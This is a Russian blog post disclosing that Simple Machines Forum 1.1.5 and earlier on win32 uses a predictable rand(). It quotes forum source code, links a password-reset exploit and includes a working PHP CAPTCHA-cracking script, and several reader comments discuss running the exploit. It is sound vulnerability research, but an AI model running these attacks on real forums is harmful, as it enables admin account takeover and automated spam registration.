Уязвимости в Simple Machines Forum <= 1.1.5

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

Сброс пароля администратора

SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>

Активационный ключ генерируется следующим образом:

<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>

Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

http://milw0rm.com/exploits/6392

Вычисление кода CAPTCHA

SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>

Сам код CAPTCHA генерируется следующим образом:

<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>

Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

<?php

/**
 * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
 * by Raz0r (http://Raz0r.name/)
 */

$url = "http://localhost/smf/";

$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
	$rand = bfmd5($out[1]);
	srand($rand);
	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
	for ($i = 0; $i < 5; $i++) {
		echo $character_range[array_rand($character_range)];
	}
}

function bfmd5($md5) {
	for($i=0;$i<=32767;$i++){
		if($md5 == md5($i)) {
			return $i;
		}
	}
	return false;
}
?>


10 комментариев

  1. Cybokron, 7. сентября 2008, 18:42

    Thank you very nice share 🙂

     
  2. X-MR, 7. сентября 2008, 20:03

    Türkce yokmi

     
  3. Pento, 7. сентября 2008, 21:15

    Надо будет таки обязательно покопать в сторону rand()
    Уж больно интересные перспективы получаются…

     
  4. Fuzulli, 12. сентября 2008, 8:44

    X-MR ODUN MUSUN ? 😀

     
  5. Rashid, 4. октября 2008, 2:20

    При попытке сохранить новый пароль — ошибка: «Неправильный код активации»

     
  6. Raz0r, 5. октября 2008, 15:05

    Rashid, вы уверены, что атакуемый хост работает на win32?

     
  7. Rashid, 10. октября 2008, 10:59

    Уверен на 100%

     
  8. Raz0r, 10. октября 2008, 17:02

    Возможно версия SMF не подходит или же в нее внесены изменения, которые не позволяют предугадать активационный ключ

     
  9. Антон, 15. июня 2012, 5:57

    У меня при использование эксплойта со сбросом ошибка — Can’t calculate seed

    что может быть нетак?

     
  10. Raz0r, 15. июня 2012, 9:54

    возможно версия или платформа?

     

Write a comment: